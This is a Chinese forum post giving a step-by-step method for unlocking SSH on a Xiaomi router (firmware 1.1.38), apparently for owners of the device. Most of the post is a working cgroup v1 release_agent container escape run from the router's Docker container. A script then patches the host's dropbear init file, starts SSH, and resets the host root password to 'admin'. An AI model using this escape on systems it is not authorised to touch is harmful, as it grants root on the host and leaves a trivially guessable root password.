本帖最后由 maomaozi 于 2026-6-4 11:54 编辑
前段时间手欠,把固件版本升级到1.1.38了,最近想解锁下ssh,但是发现原来的教程全部失效了,官方修复工具没办法降级,xmir-patcher的exploit也全部失效,全网没找到一个可用的方案,因此自己研究了两天,走了不少弯路,好在最后成功解锁,分享出来给大家
废话不多说:
============解锁步骤==============
1. 首先准备一个ext4的u盘,插入路由器,然后正常安装docker和默认的管理界面
2. 进入默认管理工具的web页面终端
3. 输入以下命令查询一下目前cgoup状态:
如果看到CapEff: 0000003fffffffff,基本上就十拿九稳了,这个说明当前容器有非常大的权限
4. 接下来我们的路径主要就是从cgroup入手,构造一个经典的Cgroup v1 Release Agent 容器逃逸,一步一步执行以下命令
- # 1. 创建可写挂载点
- mkdir -p /tmp/cgrp_rw
- # 2. 绑定所有子系统进行挂载
- mount -t cgroup -o cpuset,cpu,cpuacct,blkio,memory,devices,freezer,net_cls,pids cgroup /tmp/cgrp_rw
- # 3. 创建子控制组并开启内核通知
- mkdir /tmp/cgrp_rw/x
- echo 1 > /tmp/cgrp_rw/x/notify_on_release
复制代码
命令执行完成不会有任何回显(linux哲学hhh,没有消息就是最好的消息),现在一个内核释放的机关已经准备好,下一步注入payloads即可
4. 准备注入payloads,整体复制执行下面的命令,生成利用脚本
- # 1. 获取宿主机绝对路径
- UPPERDIR=$(cat /proc/mounts | grep overlay | grep -oE "upperdir=[^,]+" | cut -d= -f2)
- # 2. 生成payload脚本
- cat << 'EOF' > /exploit.sh
- #!/bin/sh
- LOG_FILE="__UPPERDIR__/exploit_log.txt"
- echo "=== [SSH 解锁执行日志 - $(date)] ===" > "$LOG_FILE"
- # 【步骤 1:检查宿主机目标文件是否存在】
- if [ -f /etc/init.d/dropbear ]; then
- echo "[成功] 宿主机存在 /etc/init.d/dropbear 文件。" >> "$LOG_FILE"
- else
- echo "[错误] 宿主机未找到 /etc/init.d/dropbear 文件!" >> "$LOG_FILE"
- exit 1
- fi
- # 【步骤 2:执行 sed 绕过通道检测】
- echo "[执行] 开始注入 sed 补丁以绕过小米通道检测..." >> "$LOG_FILE"
- sed -i '/flg_ssh=`nvram get ssh_en`/{:loop; N; /\n.*channel=`\/sbin\/uci get \/usr\/share\/xiaoqiang\/xiaoqiang_version.version.CHANNEL`\n.*return 0\n.*fi/!b loop; d}' /etc/init.d/dropbear 2>> "$LOG_FILE"
- if [ $? -eq 0 ]; then
- echo "[成功] sed 补丁注入成功。" >> "$LOG_FILE"
- else
- echo "[失败] sed 补丁注入遇到异常!" >> "$LOG_FILE"
- fi
- # 【步骤 3:启动 SSH 服务】
- echo "[执行] 尝试启动宿主机 Dropbear (SSH) 服务..." >> "$LOG_FILE"
- /etc/init.d/dropbear start 2>> "$LOG_FILE"
- if [ $? -eq 0 ]; then
- echo "[成功] SSH 服务已成功拉起!" >> "$LOG_FILE"
- else
- echo "[失败] 启动 SSH 服务失败或服务已在运行。" >> "$LOG_FILE"
- fi
- # 【步骤 4:强制重置 root 密码为 admin】
- echo "[执行] 正在将宿主机 root 密码强制初始化为: admin ..." >> "$LOG_FILE"
- echo -e "admin\nadmin" | passwd root 2>> "$LOG_FILE"
- if [ $? -eq 0 ]; then
- echo "[成功] 宿主机 root 密码已成功设置为 admin。" >> "$LOG_FILE"
- else
- echo "[失败] 密码修改失败。" >> "$LOG_FILE"
- fi
- echo "=== [脚本结束] ===" >> "$LOG_FILE"
- EOF
- # 3. 将脚本中的占位符替换为宿主机真实的物理路径
- sed -i "s|__UPPERDIR__|$UPPERDIR|g" /exploit.sh
- # 4. 赋予可执行权限
- chmod +x /exploit.sh
复制代码
5. 最后一步,让cgroup清理hook执行我们的利用脚本
- # 将 exploit.sh 在宿主机下的绝对路径塞给内核释放代理
- echo "$UPPERDIR/exploit.sh" > /tmp/cgrp_rw/release_agent
- # 强行终止一个容器内子进程,触发内核调用
- sh -c "echo \$\$ > /tmp/cgrp_rw/x/cgroup.procs"
复制代码
然后等待几秒钟,在当前目录下会生成一个exploit_log.txt,如果碰见执行失败问题,比如执行完以后仍然连不上ssh,可以查看其内容来debug
6. 最后ssh连接即可,用户root,默认密码为admin
- ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.31.1
复制代码
===============
接下来的SSH固化步骤按照以前的教程就可以了,不再赘述
|